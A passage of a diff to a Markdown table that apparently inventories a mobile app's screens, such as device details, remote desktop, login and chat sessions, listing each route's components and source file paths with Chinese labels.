apps/mobile/src/notifications/PushNotificationsBridge.tsx, apps/mobile/src/platform/chrome/HomeNativeStackHeader.tsx, apps/mobile/src/platform/chrome/NativePullDownMenu.tsx, apps/mobile/src/platform/chrome/NativeSwitch.tsx, apps/mobile/src/platform/chrome/SimpleStackHeader.tsx, apps/mobile/src/platform/gestureHandler.tsx, apps/mobile/src/session/IncomingShareBridge.tsx, apps/mobile/src/session/RenameDeviceModal.tsx, apps/mobile/src/theme/ThemeProvider.tsx, apps/mobile/src/theme/navigationTheme.ts, apps/mobile/src/theme/tokens.ts | 0 | 170 | 17 |
-| `mobile.devices` | mobile | 主机详情 | app/devices/[deviceId].tsx | AccountSwitcherSheet, AppText, AuthContext, AutomationTimerIcon, BlurBackdrop, CenteredScreen, ConnectionBanner, ConnectionNoticeOverlay, ConversationSearchFilterSheet, DeviceLinkContext, HomeChromeDrawer, HomeChromeFrost, HomeGlassMenuPanel, HomeHeaderGlassButton, HomeNativeStackHeader, HomeProjectMachineLabel, HomeSearchBar, IncomingShareBridge, MobileAgentMark, MobileLoginHandoffContext, MobileLoginHandoffStage, MobilePrimitives, MobileVendorIcon, NativePullDownMenu, NativeSwitch, PushNotificationsBridge, QuietSyncIndicator, RemoteAccessGuide, RemoteTaskSuggestions, RenameSessionModal, SessionActionSheet, SessionOptionsExpoSheet, SheetModal, SheetSurface, SimpleStackHeader, StartupSplashOverlay, SwipeableSessionRow, SwipeableSessionRow.ios, ThemeProvider, [deviceId], _layout, gestureHandler, index, useLocale | apps/mobile/app/_layout.tsx, apps/mobile/app/devices/[deviceId].tsx, apps/mobile/app/devices/index.tsx, apps/mobile/src/auth/AuthContext.tsx, apps/mobile/src/auth/MobileLoginHandoffContext.tsx, apps/mobile/src/components/AppText.tsx, apps/mobile/src/components/CenteredScreen.tsx, apps/mobile/src/components/ConnectionBanner.tsx, apps/mobile/src/components/ConnectionNoticeOverlay.tsx, apps/mobile/src/components/MobileAgentMark.tsx, apps/mobile/src/components/MobileLoginHandoffStage.tsx, apps/mobile/src/components/MobilePrimitives.tsx, apps/mobile/src/components/MobileVendorIcon.tsx, apps/mobile/src/components/QuietSyncIndicator.tsx, apps/mobile/src/components/RemoteAccessGuide.tsx, apps/mobile/src/components/StartupSplashOverlay.tsx, apps/mobile/src/device-link/DeviceLinkContext.tsx, apps/mobile/src/i18n/useLocale.tsx, apps/mobile/src/notifications/PushNotificationsBridge.tsx, apps/mobile/src/platform/chrome/HomeNativeStackHeader.tsx, apps/mobile/src/platform/chrome/NativePullDownMenu.tsx, apps/mobile/src/platform/chrome/NativeSwitch.tsx, apps/mobile/src/platform/chrome/SimpleStackHeader.tsx, apps/mobile/src/platform/gestureHandler.tsx, apps/mobile/src/session/AccountSwitcherSheet.tsx, apps/mobile/src/session/AutomationTimerIcon.tsx, apps/mobile/src/session/BlurBackdrop.tsx, apps/mobile/src/session/ConversationSearchFilterSheet.tsx, apps/mobile/src/session/HomeChromeDrawer.tsx, apps/mobile/src/session/HomeChromeFrost.tsx, apps/mobile/src/session/HomeGlassMenuPanel.tsx, apps/mobile/src/session/HomeHeaderGlassButton.tsx, apps/mobile/src/session/HomeProjectMachineLabel.tsx, apps/mobile/src/session/HomeSearchBar.tsx, apps/mobile/src/session/IncomingShareBridge.tsx, apps/mobile/src/session/RemoteTaskSuggestions.tsx, apps/mobile/src/session/RenameSessionModal.tsx, apps/mobile/src/session/SessionActionSheet.tsx, apps/mobile/src/session/SessionOptionsExpoSheet.tsx, apps/mobile/src/session/SheetModal.tsx, apps/mobile/src/session/SheetSurface.tsx, apps/mobile/src/session/SwipeableSessionRow.ios.tsx, apps/mobile/src/session/SwipeableSessionRow.tsx, apps/mobile/src/theme/ThemeProvider.tsx, apps/mobile/src/theme/navigationTheme.ts, apps/mobile/src/theme/tokens.ts | 0 | 170 | 60 |
-| `mobile.files` | mobile | 任务文件与预览 | app/files/[sessionId].tsx / app/files/preview/[sessionId].tsx | AppText, AuthContext, CenteredScreen, ConnectionBanner, ConnectionNoticeOverlay, DeviceLinkContext, HtmlFileReader, ImageLightbox, IncomingShareBridge, MarkdownFileReader, MobileLoginHandoffContext, MobileLoginHandoffStage, MobilePrimitives, PushNotificationsBridge, QuietSyncIndicator, StartupSplashOverlay, ThemeProvider, [sessionId], _layout, gestureHandler, mediaPlayerWebView, useLocale | apps/mobile/app/_layout.tsx, apps/mobile/app/files/[sessionId].tsx, apps/mobile/app/files/preview/[sessionId].tsx, apps/mobile/src/auth/AuthContext.tsx, apps/mobile/src/auth/MobileLoginHandoffContext.tsx, apps/mobile/src/components/AppText.tsx, apps/mobile/src/components/CenteredScreen.tsx, apps/mobile/src/components/ConnectionBanner.tsx, apps/mobile/src/components/ConnectionNoticeOverlay.tsx, apps/mobile/src/components/MobileLoginHandoffStage.tsx, apps/mobile/src/components/MobilePrimitives.tsx, apps/mobile/src/components/QuietSyncIndicator.tsx, apps/mobile/src/components/StartupSplashOverlay.tsx, apps/mobile/src/device-link/DeviceLinkContext.tsx, apps/mobile/src/i18n/useLocale.tsx, apps/mobile/src/notifications/PushNotificationsBridge.tsx, apps/mobile/src/platform/gestureHandler.tsx, apps/mobile/src/session/HtmlFileReader.tsx, apps/mobile/src/session/ImageLightbox.tsx, apps/mobile/src/session/IncomingShareBridge.tsx, apps/mobile/src/session/MarkdownFileReader.tsx, apps/mobile/src/session/mathWebViewHtml.ts, apps/mobile/src/session/mediaPlayerWebView.tsx, apps/mobile/src/session/mediaPlayerWebViewHtml.ts, apps/mobile/src/session/selectableMarkdownHtml.ts, apps/mobile/src/theme/ThemeProvider.tsx, apps/mobile/src/theme/navigationTheme.ts, apps/mobile/src/theme/tokens.ts | 0 | 202 | 36 |
-| `mobile.home` | mobile | 主机与资源首页 | app/index.tsx / app/devices/index.tsx | AccountSwitcherSheet, AppText, AuthContext, AutomationTimerIcon, BlurBackdrop, CenteredScreen, ConnectionBanner, ConnectionNoticeOverlay, ConversationSearchFilterSheet, DeviceLinkContext, HomeChromeDrawer, HomeChromeFrost, HomeGlassMenuPanel, HomeHeaderGlassButton, HomeNativeStackHeader, HomeProjectMachineLabel, HomeSearchBar, IncomingShareBridge, MobileAgentMark, MobileLoginHandoffContext, MobileLoginHandoffStage, MobilePrimitives, MobileVendorIcon, NativePullDownMenu, NativeSwitch, PushNotificationsBridge, QuietSyncIndicator, RemoteAccessGuide, RemoteTaskSuggestions, RenameSessionModal, SessionActionSheet, SessionOptionsExpoSheet, SheetModal, SheetSurface, SimpleStackHeader, StartupSplashOverlay, SwipeableSessionRow, SwipeableSessionRow.ios, ThemeProvider, _layout, gestureHandler, index, useLocale | apps/mobile/app/_layout.tsx, apps/mobile/app/devices/index.tsx, apps/mobile/app/index.tsx, apps/mobile/src/auth/AuthContext.tsx, apps/mobile/src/auth/MobileLoginHandoffContext.tsx, apps/mobile/src/components/AppText.tsx, apps/mobile/src/components/CenteredScreen.tsx, apps/mobile/src/components/ConnectionBanner.tsx, apps/mobile/src/components/ConnectionNoticeOverlay.tsx, apps/mobile/src/components/MobileAgentMark.tsx, apps/mobile/src/components/MobileLoginHandoffStage.tsx, apps/mobile/src/components/MobilePrimitives.tsx, apps/mobile/src/components/MobileVendorIcon.tsx, apps/mobile/src/components/QuietSyncIndicator.tsx, apps/mobile/src/components/RemoteAccessGuide.tsx, apps/mobile/src/components/StartupSplashOverlay.tsx, apps/mobile/src/device-link/DeviceLinkContext.tsx, apps/mobile/src/i18n/useLocale.tsx, apps/mobile/src/notifications/PushNotificationsBridge.tsx, apps/mobile/src/platform/chrome/HomeNativeStackHeader.tsx, apps/mobile/src/platform/chrome/NativePullDownMenu.tsx, apps/mobile/src/platform/chrome/NativeSwitch.tsx, apps/mobile/src/platform/chrome/SimpleStackHeader.tsx, apps/mobile/src/platform/gestureHandler.tsx, apps/mobile/src/session/AccountSwitcherSheet.tsx, apps/mobile/src/session/AutomationTimerIcon.tsx, apps/mobile/src/session/BlurBackdrop.tsx, apps/mobile/src/session/ConversationSearchFilterSheet.tsx, apps/mobile/src/session/HomeChromeDrawer.tsx, apps/mobile/src/session/HomeChromeFrost.tsx, apps/mobile/src/session/HomeGlassMenuPanel.tsx, apps/mobile/src/session/HomeHeaderGlassButton.tsx, apps/mobile/src/session/HomeProjectMachineLabel.tsx, apps/mobile/src/session/HomeSearchBar.tsx, apps/mobile/src/session/IncomingShareBridge.tsx, apps/mobile/src/session/RemoteTaskSuggestions.tsx, apps/mobile/src/session/RenameSessionModal.tsx, apps/mobile/src/session/SessionActionSheet.tsx, apps/mobile/src/session/SessionOptionsExpoSheet.tsx, apps/mobile/src/session/SheetModal.tsx, apps/mobile/src/session/SheetSurface.tsx, apps/mobile/src/session/SwipeableSessionRow.ios.tsx, apps/mobile/src/session/SwipeableSessionRow.tsx, apps/mobile/src/theme/ThemeProvider.tsx, apps/mobile/src/theme/navigationTheme.ts, apps/mobile/src/theme/tokens.ts | 0 | 170 | 56 |
-| `mobile.overlay.connection-startup` | mobile | 根布局挂载的启动与连接反馈 | app/_layout.tsx → StartupSplashOverlay / ConnectionNoticeProvider;各页面 ConnectionBanner | AppText, AuthContext, CenteredScreen, ConnectionBanner, ConnectionNoticeOverlay, ConnectionNoticeProvider, DeviceLinkContext, IncomingShareBridge, MobileLoginHandoffContext, MobileLoginHandoffStage, MobilePrimitives, PushNotificationsBridge, QuietSyncIndicator, StartupSplashOverlay, ThemeProvider, _layout, gestureHandler, useLocale | apps/mobile/app/_layout.tsx, apps/mobile/src/auth/AuthContext.tsx, apps/mobile/src/auth/MobileLoginHandoffContext.tsx, apps/mobile/src/components/AppText.tsx, apps/mobile/src/components/CenteredScreen.tsx, apps/mobile/src/components/ConnectionBanner.tsx, apps/mobile/src/components/ConnectionNoticeOverlay.tsx, apps/mobile/src/components/MobileLoginHandoffStage.tsx, apps/mobile/src/components/MobilePrimitives.tsx, apps/mobile/src/components/QuietSyncIndicator.tsx, apps/mobile/src/components/StartupSplashOverlay.tsx, apps/mobile/src/device-link/DeviceLinkContext.tsx, apps/mobile/src/i18n/useLocale.tsx, apps/mobile/src/notifications/PushNotificationsBridge.tsx, apps/mobile/src/platform/gestureHandler.tsx, apps/mobile/src/session/IncomingShareBridge.tsx, apps/mobile/src/theme/ThemeProvider.tsx, apps/mobile/src/theme/navigationTheme.ts, apps/mobile/src/theme/tokens.ts | 0 | 170 | 13 |
-| `mobile.remote-desktop` | mobile | 远程桌面 | app/devices/desktop/[deviceId].tsx | AppText, AuthContext, CenteredScreen, ConnectionBanner, ConnectionNoticeOverlay, DeviceLinkContext, IncomingShareBridge, MobileLoginHandoffContext, MobileLoginHandoffStage, MobilePrimitives, NativePullDownMenu, NativeSwitch, PermissionGuide, PermissionGuideView, PermissionGuideView.ios, PushNotificationsBridge, QuietSyncIndicator, RemoteDesktopActionButton, RemoteDesktopActionButton.ios, RemoteDesktopBackButton, RemoteDesktopBackButton.ios, RemoteDesktopChrome, RemoteDesktopClipboardButton, RemoteDesktopControls, RemoteDesktopDisplaySettings, RemoteDesktopIcons, RemoteDesktopNetworkStatus, RemoteDesktopPanelButton, RemoteDesktopPanelButton.ios, RemoteDesktopScreen, RemoteDesktopSecuritySettings, StartupSplashOverlay, ThemeProvider, [deviceId], _layout, gestureHandler, useLocale | apps/mobile/app/_layout.tsx, apps/mobile/app/devices/desktop/[deviceId].tsx, apps/mobile/src/auth/AuthContext.tsx, apps/mobile/src/auth/MobileLoginHandoffContext.tsx, apps/mobile/src/components/AppText.tsx, apps/mobile/src/components/CenteredScreen.tsx, apps/mobile/src/components/ConnectionBanner.tsx, apps/mobile/src/components/ConnectionNoticeOverlay.tsx, apps/mobile/src/components/MobileLoginHandoffStage.tsx, apps/mobile/src/components/MobilePrimitives.tsx, apps/mobile/src/components/QuietSyncIndicator.tsx, apps/mobile/src/components/StartupSplashOverlay.tsx, apps/mobile/src/device-link/DeviceLinkContext.tsx, apps/mobile/src/i18n/useLocale.tsx, apps/mobile/src/notifications/PushNotificationsBridge.tsx, apps/mobile/src/platform/chrome/NativePullDownMenu.tsx, apps/mobile/src/platform/chrome/NativeSwitch.tsx, apps/mobile/src/platform/gestureHandler.tsx, apps/mobile/src/remote-desktop/PermissionGuide.tsx, apps/mobile/src/remote-desktop/PermissionGuideView.ios.tsx, apps/mobile/src/remote-desktop/PermissionGuideView.tsx, apps/mobile/src/remote-desktop/RemoteDesktopActionButton.ios.tsx, apps/mobile/src/remote-desktop/RemoteDesktopActionButton.tsx, apps/mobile/src/remote-desktop/RemoteDesktopBackButton.ios.tsx, apps/mobile/src/remote-desktop/RemoteDesktopBackButton.tsx, apps/mobile/src/remote-desktop/RemoteDesktopChrome.tsx, apps/mobile/src/remote-desktop/RemoteDesktopClipboardButton.tsx, apps/mobile/src/remote-desktop/RemoteDesktopControls.tsx, apps/mobile/src/remote-desktop/RemoteDesktopDisplaySettings.tsx, apps/mobile/src/remote-desktop/RemoteDesktopIcons.tsx, apps/mobile/src/remote-desktop/RemoteDesktopNetworkStatus.tsx, apps/mobile/src/remote-desktop/RemoteDesktopPanelButton.ios.tsx, apps/mobile/src/remote-desktop/RemoteDesktopPanelButton.tsx, apps/mobile/src/remote-desktop/RemoteDesktopScreen.tsx, apps/mobile/src/remote-desktop/RemoteDesktopSecuritySettings.tsx, apps/mobile/src/remote-desktop/viewerHtml.ts, apps/mobile/src/session/IncomingShareBridge.tsx, apps/mobile/src/theme/ThemeProvider.tsx, apps/mobile/src/theme/navigationTheme.ts, apps/mobile/src/theme/tokens.ts | 0 | 170 | 41 |
-| `mobile.resources` | mobile | 远程资源列表与详情 | app/resources/[collectionId].tsx / app/resources/[collectionId]/[resourceId].tsx | AppText, AuthContext, CenteredScreen, ConnectionBanner, ConnectionNoticeOverlay, DeviceLinkContext, HomeNativeStackHeader, IncomingShareBridge, MobileLoginHandoffContext, MobileLoginHandoffStage, MobilePrimitives, NativePullDownMenu, NativeSwitch, PushNotificationsBridge, QuietSyncIndicator, RemoteCompanionAvatar, SimpleStackHeader, StartupSplashOverlay, ThemeProvider, [collectionId], [resourceId], _layout, gestureHandler, useLocale | apps/mobile/app/_layout.tsx, apps/mobile/app/resources/[collectionId].tsx, apps/mobile/app/resources/[collectionId]/[resourceId].tsx, apps/mobile/src/auth/AuthContext.tsx, apps/mobile/src/auth/MobileLoginHandoffContext.tsx, apps/mobile/src/components/AppText.tsx, apps/mobile/src/components/CenteredScreen.tsx, apps/mobile/src/components/ConnectionBanner.tsx, apps/mobile/src/components/ConnectionNoticeOverlay.tsx, apps/mobile/src/components/MobileLoginHandoffStage.tsx, apps/mobile/src/components/MobilePrimitives.tsx, apps/mobile/src/components/QuietSyncIndicator.tsx, apps/mobile/src/components/RemoteCompanionAvatar.tsx, apps/mobile/src/components/StartupSplashOverlay.tsx, apps/mobile/src/device-link/DeviceLinkContext.tsx, apps/mobile/src/i18n/useLocale.tsx, apps/mobile/src/notifications/PushNotificationsBridge.tsx, apps/mobile/src/platform/chrome/HomeNativeStackHeader.tsx, apps/mobile/src/platform/chrome/NativePullDownMenu.tsx, apps/mobile/src/platform/chrome/NativeSwitch.tsx, apps/mobile/src/platform/chrome/SimpleStackHeader.tsx, apps/mobile/src/platform/gestureHandler.tsx, apps/mobile/src/session/IncomingShareBridge.tsx, apps/mobile/src/theme/ThemeProvider.tsx, apps/mobile/src/theme/navigationTheme.ts, apps/mobile/src/theme/tokens.ts | 0 | 170 | 18 |
-| `mobile.settings` | mobile | 设置(含调试与日志上传可见入口) | app/settings.tsx | AppText, AuthContext, BlurBackdrop, CenteredScreen, ConnectionBanner, ConnectionNoticeOverlay, DeviceLinkContext, HomeNativeStackHeader, IncomingShareBridge, MobileChoicePickerList, MobileLoginHandoffContext, MobileLoginHandoffStage, MobilePrimitives, NativePullDownMenu, NativeSwitch, PushNotificationsBridge, QuietSyncIndicator, SheetModal, SheetSurface, SimpleStackHeader, StartupSplashOverlay, ThemeProvider, _layout, gestureHandler, settings, useLocale | apps/mobile/app/_layout.tsx, apps/mobile/app/settings.tsx, apps/mobile/src/auth/AuthContext.tsx, apps/mobile/src/auth/MobileLoginHandoffContext.tsx, apps/mobile/src/components/AppText.tsx, apps/mobile/src/components/CenteredScreen.tsx, apps/mobile/src/components/ConnectionBanner.tsx, apps/mobile/src/components/ConnectionNoticeOverlay.tsx, apps/mobile/src/components/MobileLoginHandoffStage.tsx, apps/mobile/src/components/MobilePrimitives.tsx, apps/mobile/src/components/QuietSyncIndicator.tsx, apps/mobile/src/components/StartupSplashOverlay.tsx, apps/mobile/src/device-link/DeviceLinkContext.tsx, apps/mobile/src/i18n/useLocale.tsx, apps/mobile/src/notifications/PushNotificationsBridge.tsx, apps/mobile/src/platform/chrome/HomeNativeStackHeader.tsx, apps/mobile/src/platform/chrome/NativePullDownMenu.tsx, apps/mobile/src/platform/chrome/NativeSwitch.tsx, apps/mobile/src/platform/chrome/SimpleStackHeader.tsx, apps/mobile/src/platform/gestureHandler.tsx, apps/mobile/src/session/BlurBackdrop.tsx, apps/mobile/src/session/IncomingShareBridge.tsx, apps/mobile/src/session/MobileChoicePickerList.tsx, apps/mobile/src/session/SheetModal.tsx, apps/mobile/src/session/SheetSurface.tsx, apps/mobile/src/theme/ThemeProvider.tsx, apps/mobile/src/theme/navigationTheme.ts, apps/mobile/src/theme/tokens.ts | 0 | 170 | 22 |
+| `mobile.account-deletion` | mobile | 账号注销 | app/account-deletion.tsx | AppText, AuthContext, CenteredScreen, ConnectionBanner, ConnectionNoticeOverlay, DeviceLinkContext, HomeNativeStackHeader, IncomingShareBridge, MobileLoginHandoffContext, MobileLoginHandoffStage, MobilePrimitives, NativePullDownMenu, NativeSwitch, PushNotificationsBridge, QuietSyncIndicator, SimpleStackHeader, StartupSplashOverlay, ThemeProvider, _layout, account-deletion, gestureHandler, peerFileTransport, useLocale | apps/mobile/app/_layout.tsx, apps/mobile/app/account-deletion.tsx, apps/mobile/src/auth/AuthContext.tsx, apps/mobile/src/auth/MobileLoginHandoffContext.tsx, apps/mobile/src/components/AppText.tsx, apps/mobile/src/components/CenteredScreen.tsx, apps/mobile/src/components/ConnectionBanner.tsx, apps/mobile/src/components/ConnectionNoticeOverlay.tsx, apps/mobile/src/components/MobileLoginHandoffStage.tsx, apps/mobile/src/components/MobilePrimitives.tsx, apps/mobile/src/components/QuietSyncIndicator.tsx, apps/mobile/src/components/StartupSplashOverlay.tsx, apps/mobile/src/device-link/DeviceLinkContext.tsx, apps/mobile/src/device-link/peerFileTransport.tsx, apps/mobile/src/i18n/useLocale.tsx, apps/mobile/src/notifications/PushNotificationsBridge.tsx, apps/mobile/src/platform/chrome/HomeNativeStackHeader.tsx, apps/mobile/src/platform/chrome/NativePullDownMenu.tsx, apps/mobile/src/platform/chrome/NativeSwitch.tsx, apps/mobile/src/platform/chrome/SimpleStackHeader.tsx, apps/mobile/src/platform/gestureHandler.tsx, apps/mobile/src/session/IncomingShareBridge.tsx, apps/mobile/src/theme/ThemeProvider.tsx, apps/mobile/src/theme/navigationTheme.ts, apps/mobile/src/theme/tokens.ts | 0 | 170 | 19 |
+| `mobile.auth` | mobile | 登录与添加账号 | app/(auth)/login.tsx / app/add-account.tsx | AccountSwitcherSheet, AppText, AuthContext, BlurBackdrop, CenteredScreen, ConnectionBanner, ConnectionNoticeOverlay, DeviceLinkContext, IncomingShareBridge, LoginCaptchaWebView, LoginSkinControls, MobileLoginHandoffContext, MobileLoginHandoffStage, MobilePrimitives, PushNotificationsBridge, QuietSyncIndicator, SheetModal, SheetSurface, StartupSplashOverlay, ThemeProvider, _layout, add-account, gestureHandler, login, peerFileTransport, useLocale | apps/mobile/app/(auth)/login.tsx, apps/mobile/app/_layout.tsx, apps/mobile/app/add-account.tsx, apps/mobile/src/auth/AuthContext.tsx, apps/mobile/src/auth/LoginCaptchaWebView.tsx, apps/mobile/src/auth/MobileLoginHandoffContext.tsx, apps/mobile/src/components/AppText.tsx, apps/mobile/src/components/CenteredScreen.tsx, apps/mobile/src/components/ConnectionBanner.tsx, apps/mobile/src/components/ConnectionNoticeOverlay.tsx, apps/mobile/src/components/LoginSkinControls.tsx, apps/mobile/src/components/MobileLoginHandoffStage.tsx, apps/mobile/src/components/MobilePrimitives.tsx, apps/mobile/src/components/QuietSyncIndicator.tsx, apps/mobile/src/components/StartupSplashOverlay.tsx, apps/mobile/src/device-link/DeviceLinkContext.tsx, apps/mobile/src/device-link/peerFileTransport.tsx, apps/mobile/src/i18n/useLocale.tsx, apps/mobile/src/notifications/PushNotificationsBridge.tsx, apps/mobile/src/platform/gestureHandler.tsx, apps/mobile/src/session/AccountSwitcherSheet.tsx, apps/mobile/src/session/BlurBackdrop.tsx, apps/mobile/src/session/IncomingShareBridge.tsx, apps/mobile/src/session/SheetModal.tsx, apps/mobile/src/session/SheetSurface.tsx, apps/mobile/src/theme/ThemeProvider.tsx, apps/mobile/src/theme/navigationTheme.ts, apps/mobile/src/theme/tokens.ts | 0 | 177 | 43 |
+| `mobile.automations` | mobile | 自动化 | app/automations/[deviceId].tsx | AppText, AuthContext, CenteredScreen, ConnectionBanner, ConnectionNoticeOverlay, DeviceLinkContext, HomeNativeStackHeader, IncomingShareBridge, MobileLoginHandoffContext, MobileLoginHandoffStage, MobilePrimitives, NativePullDownMenu, NativeSwitch, PushNotificationsBridge, QuietSyncIndicator, SimpleStackHeader, StartupSplashOverlay, ThemeProvider, [deviceId], _layout, gestureHandler, peerFileTransport, useLocale | apps/mobile/app/_layout.tsx, apps/mobile/app/automations/[deviceId].tsx, apps/mobile/src/auth/AuthContext.tsx, apps/mobile/src/auth/MobileLoginHandoffContext.tsx, apps/mobile/src/components/AppText.tsx, apps/mobile/src/components/CenteredScreen.tsx, apps/mobile/src/components/ConnectionBanner.tsx, apps/mobile/src/components/ConnectionNoticeOverlay.tsx, apps/mobile/src/components/MobileLoginHandoffStage.tsx, apps/mobile/src/components/MobilePrimitives.tsx, apps/mobile/src/components/QuietSyncIndicator.tsx, apps/mobile/src/components/StartupSplashOverlay.tsx, apps/mobile/src/device-link/DeviceLinkContext.tsx, apps/mobile/src/device-link/peerFileTransport.tsx, apps/mobile/src/i18n/useLocale.tsx, apps/mobile/src/notifications/PushNotificationsBridge.tsx, apps/mobile/src/platform/chrome/HomeNativeStackHeader.tsx, apps/mobile/src/platform/chrome/NativePullDownMenu.tsx, apps/mobile/src/platform/chrome/NativeSwitch.tsx, apps/mobile/src/platform/chrome/SimpleStackHeader.tsx, apps/mobile/src/platform/gestureHandler.tsx, apps/mobile/src/session/IncomingShareBridge.tsx, apps/mobile/src/theme/ThemeProvider.tsx, apps/mobile/src/theme/navigationTheme.ts, apps/mobile/src/theme/tokens.ts | 0 | 170 | 35 |
+| `mobile.chat.new` | mobile | 新建任务 | app/sessions/new.tsx | AnnotationBurnInWebView, AppText, AuthContext, BlurBackdrop, CenteredScreen, ComposerAttachmentTray, ComposerKeyboardAvoidingView, ConnectionBanner, ConnectionNoticeOverlay, ContextSheet, ContextSheetGoalView, ContextSheetMediaViews, DeviceLinkContext, HomeNativeStackHeader, ImageLightbox, IncomingShareBridge, MobileAgentMark, MobileAgentSwitcher, MobileChoicePickerList, MobileComposerInputRow, MobileLoginHandoffContext, MobileLoginHandoffStage, MobileModelPickerList, MobilePermissionPickerList, MobilePrimitives, MobileProviderMark, MobileVendorIcon, ModelOptionsSheetView, ModelPickerSheet, NativePullDownMenu, NativeSwitch, PaperPlaneIcon, PlanModeChip, PushNotificationsBridge, QuietSyncIndicator, SheetModal, SheetSurface, SimpleStackHeader, SlowSendNotice, StartupSplashOverlay, ThemeProvider, VoiceRecordingPill, _layout, gestureHandler, new, peerFileTransport, useLocale | apps/mobile/app/_layout.tsx, apps/mobile/app/sessions/new.tsx, apps/mobile/src/auth/AuthContext.tsx, apps/mobile/src/auth/MobileLoginHandoffContext.tsx, apps/mobile/src/components/AppText.tsx, apps/mobile/src/components/CenteredScreen.tsx, apps/mobile/src/components/ConnectionBanner.tsx, apps/mobile/src/components/ConnectionNoticeOverlay.tsx, apps/mobile/src/components/MobileAgentMark.tsx, apps/mobile/src/components/MobileLoginHandoffStage.tsx, apps/mobile/src/components/MobilePrimitives.tsx, apps/mobile/src/components/MobileVendorIcon.tsx, apps/mobile/src/components/PaperPlaneIcon.tsx, apps/mobile/src/components/QuietSyncIndicator.tsx, apps/mobile/src/components/StartupSplashOverlay.tsx, apps/mobile/src/device-link/DeviceLinkContext.tsx, apps/mobile/src/device-link/peerFileTransport.tsx, apps/mobile/src/i18n/useLocale.tsx, apps/mobile/src/notifications/PushNotificationsBridge.tsx, apps/mobile/src/platform/chrome/HomeNativeStackHeader.tsx, apps/mobile/src/platform/chrome/NativePullDownMenu.tsx, apps/mobile/src/platform/chrome/NativeSwitch.tsx, apps/mobile/src/platform/chrome/SimpleStackHeader.tsx, apps/mobile/src/platform/gestureHandler.tsx, apps/mobile/src/session/AnnotationBurnInWebView.tsx, apps/mobile/src/session/BlurBackdrop.tsx, apps/mobile/src/session/ComposerAttachmentTray.tsx, apps/mobile/src/session/ComposerKeyboardAvoidingView.tsx, apps/mobile/src/session/ContextSheet.tsx, apps/mobile/src/session/ContextSheetGoalView.tsx, apps/mobile/src/session/ContextSheetMediaViews.tsx, apps/mobile/src/session/ImageLightbox.tsx, apps/mobile/src/session/IncomingShareBridge.tsx, apps/mobile/src/session/MobileAgentSwitcher.tsx, apps/mobile/src/session/MobileChoicePickerList.tsx, apps/mobile/src/session/MobileComposerInputRow.tsx, apps/mobile/src/session/MobileModelPickerList.tsx, apps/mobile/src/session/MobilePermissionPickerList.tsx, apps/mobile/src/session/MobileProviderMark.tsx, apps/mobile/src/session/ModelOptionsSheetView.tsx, apps/mobile/src/session/ModelPickerSheet.tsx, apps/mobile/src/session/PlanModeChip.tsx, apps/mobile/src/session/SheetModal.tsx, apps/mobile/src/session/SheetSurface.tsx, apps/mobile/src/session/SlowSendNotice.tsx, apps/mobile/src/session/VoiceRecordingPill.tsx, apps/mobile/src/theme/ThemeProvider.tsx, apps/mobile/src/theme/navigationTheme.ts, apps/mobile/src/theme/tokens.ts | 0 | 202 | 72 |
+| `mobile.chat.session` | mobile | 任务内容与输入 | app/sessions/[sessionId].tsx | AnnotationBurnInWebView, AppText, AuthContext, AuthorizationMessageCard, BlurBackdrop, CenteredScreen, ChatFileChipMenuSheet, CompanionMessageCard, ComposerAttachmentTray, ComposerKeyboardAvoidingView, ComposerRichInput, ConnectionBanner, ConnectionNoticeOverlay, ContextSheet, ContextSheetGoalView, ContextSheetMediaViews, ConversationSearchFilterSheet, ConversationShareSvg, ConversationShareWebView, DeviceLinkContext, FailedScheduleNotice, HomeGlassMenuPanel, HomeNativeStackHeader, HomeSearchBar, ImageLightbox, IncomingShareBridge, InlineQueueSection, InlineQuoteChip, InlineReferenceChip, InteractionPanel, MarkdownBlockContent, MessageActionSheet, MessageRenderer, MobileAgentMark, MobileAgentSwitcher, MobileBoundaryNotice, MobileComposerInputRow, MobileLoginHandoffContext, MobileLoginHandoffStage, MobileModelPickerList, MobilePermissionPickerList, MobilePrimitives, MobileProviderMark, ModelOptionsSheetView, ModelPickerSheet, NativePullDownMenu, NativeSwitch, PaperPlaneIcon, PendingSendBubble, PiSessionTreeSheet, PlanModeChip, PushNotificationsBridge, QuietSyncIndicator, QuoteCapsule, RewindPreviewPanel, SentInlineAtomBody, SessionListDrawer, SessionMenuSheet, SessionTailBanner, SessionUsageSummary, ShareMessageCheckbox, ShareSelectAllButton, ShareSelectionBar, SheetModal, SheetSurface, SimpleStackHeader, SlowSendNotice, StartupSplashOverlay, StreamingStatusText, ThemeProvider, VoiceRecordingPill, [sessionId], _layout, gestureHandler, mathWebView, mediaPlayerWebView, mermaidWebView, peerFileTransport, useLocale | apps/mobile/app/_layout.tsx, apps/mobile/app/sessions/[sessionId].tsx, apps/mobile/src/auth/AuthContext.tsx, apps/mobile/src/auth/MobileLoginHandoffContext.tsx, apps/mobile/src/components/AppText.tsx, apps/mobile/src/components/CenteredScreen.tsx, apps/mobile/src/components/ConnectionBanner.tsx, apps/mobile/src/components/ConnectionNoticeOverlay.tsx, apps/mobile/src/components/MobileAgentMark.tsx, apps/mobile/src/components/MobileLoginHandoffStage.tsx, apps/mobile/src/components/MobilePrimitives.tsx, apps/mobile/src/components/PaperPlaneIcon.tsx, apps/mobile/src/components/QuietSyncIndicator.tsx, apps/mobile/src/components/StartupSplashOverlay.tsx, apps/mobile/src/device-link/DeviceLinkContext.tsx, apps/mobile/src/device-link/peerFileTransport.tsx, apps/mobile/src/i18n/useLocale.tsx, apps/mobile/src/notifications/PushNotificationsBridge.tsx, apps/mobile/src/platform/chrome/HomeNativeStackHeader.tsx, apps/mobile/src/platform/chrome/NativePullDownMenu.tsx, apps/mobile/src/platform/chrome/NativeSwitch.tsx, apps/mobile/src/platform/chrome/SimpleStackHeader.tsx, apps/mobile/src/platform/gestureHandler.tsx, apps/mobile/src/session/AnnotationBurnInWebView.tsx, apps/mobile/src/session/AuthorizationMessageCard.tsx, apps/mobile/src/session/BlurBackdrop.tsx, apps/mobile/src/session/ChatFileChipMenuSheet.tsx, apps/mobile/src/session/CompanionMessageCard.tsx, apps/mobile/src/session/ComposerAttachmentTray.tsx, apps/mobile/src/session/ComposerKeyboardAvoidingView.tsx, apps/mobile/src/session/ComposerRichInput.tsx, apps/mobile/src/session/ContextSheet.tsx, apps/mobile/src/session/ContextSheetGoalView.tsx, apps/mobile/src/session/ContextSheetMediaViews.tsx, apps/mobile/src/session/ConversationSearchFilterSheet.tsx, apps/mobile/src/session/ConversationShareSvg.tsx, apps/mobile/src/session/ConversationShareWebView.tsx, apps/mobile/src/session/FailedScheduleNotice.tsx, 